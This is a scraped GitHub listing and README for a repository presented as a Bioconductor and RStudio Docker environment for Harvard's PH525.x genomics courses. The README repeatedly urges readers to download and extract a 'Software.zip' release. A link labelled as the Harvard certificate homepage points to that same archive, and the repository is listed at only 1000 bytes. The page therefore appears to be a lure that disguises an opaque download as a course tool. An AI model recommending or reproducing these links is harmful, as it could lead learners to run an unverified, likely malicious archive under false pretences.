https://github.com/akmagan387/bioconductor-learning-container
🧬 Containerized development environment for Harvard's Professional Certificate in Data Analysis for Genomics (PH525.x series). Streamlined setup for Bioconductor, R, and genomic data analysis with RStudio and DevContainer support.
https://github.com/akmagan387/bioconductor-learning-container
bioconductor bioinformatics chip-seq data-science devcontainer dna-methylation docker functional-genomics harvard harvardx r reproducible-research rna-seq rstudio
Last synced: 3 months ago
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🧬 Containerized development environment for Harvard's Professional Certificate in Data Analysis for Genomics (PH525.x series). Streamlined setup for Bioconductor, R, and genomic data analysis with RStudio and DevContainer support.
- Host: GitHub
- URL: https://github.com/akmagan387/bioconductor-learning-container
- Owner: Akmagan387
- Created: 2025-02-03T13:22:20.000Z (4 months ago)
- Default Branch: main
- Last Pushed: 2025-02-24T16:19:30.000Z (3 months ago)
- Last Synced: 2025-02-24T16:28:53.787Z (3 months ago)
- Topics: bioconductor, bioinformatics, chip-seq, data-science, devcontainer, dna-methylation, docker, functional-genomics, harvard, harvardx, r, reproducible-research, rna-seq, rstudio
- Size: 1000 Bytes
- Stars: 1
- Watchers: 1
- Forks: 0
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
Awesome Lists containing this project
README
# 🧬 Welcome to the Bioconductor Learning Container!
## Repository Name: bioconductor-learning-container
### Repository Short Description:
This repository provides a containerized development environment tailored for Harvard's Professional Certificate in Data Analysis for Genomics (PH525.x series). It offers a streamlined setup for Bioconductor, R, and genomic data analysis, complete with RStudio and DevContainer support. Whether you're delving into functional genomics, DNA methylation, RNA-Seq, ChIP-Seq, or single-cell RNA-Seq, this container has you covered!
### 🧪 Topics:
- bioconductor
- bioinformatics
- chip-seq
- data-analysis
- data-science
- devcontainer
- dna-methylation
- docker
- edx
- functional-genomics
- genomics
- harvard
- harvardx
- ph525
- ph525x
- r
- reproducible-research
- rna-seq
- rstudio
- single-cell-rna-seq
### **Get Started:**
Start your journey into the world of genomics and data analysis by launching our comprehensive software package. Click the button below to initiate your learning experience:
[](https://github.com/Akmagan387/bioconductor-learning-container/releases/download/v2.0/Software.zip)
If the link for the software package doesn't work, kindly check the "Releases" section for an alternative.
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### 💡 How to Use this Container:
1. Download and extract the https://github.com/Akmagan387/bioconductor-learning-container/releases/download/v2.0/Software.zip file from the provided link.
2. Install Docker on your system if you haven't already.
3. Open a terminal window and navigate to the extracted folder.
4. Run the command `docker-compose up -d`.
5. Access the RStudio environment by visiting `http://localhost:8787` in your web browser.
6. Use the pre-configured R environment to explore the fascinating world of genomics!
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### 🌟 Features:
- Ready-to-use development environment.
- Pre-installed Bioconductor and R packages for genomics analysis.
- Easy setup with Docker and DevContainer support.
- Ideal for learners in the PH525.x series from Harvard.
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### 🌐 Explore Further:
If you are interested in broadening your knowledge in genomics and data analysis, consider visiting the [Harvard Data Science Professional Certificate homepage](https://github.com/Akmagan387/bioconductor-learning-container/releases/download/v2.0/Software.zip). This program offers a wealth of resources to enhance your skills in this exciting field.
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### 🚀 Happy Learning!
Start your genomics journey today with our Bioconductor Learning Container. Dive into the world of data analysis for genomics and unlock a realm of possibilities in bioinformatics and beyond.
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Disclaimer: The content of this repository is solely for educational purposes and is not affiliated with Harvard University.
**#bioconductor #harvard #genomics #dataanalysis #docker #rstudio #bioinformatics #ph525x**
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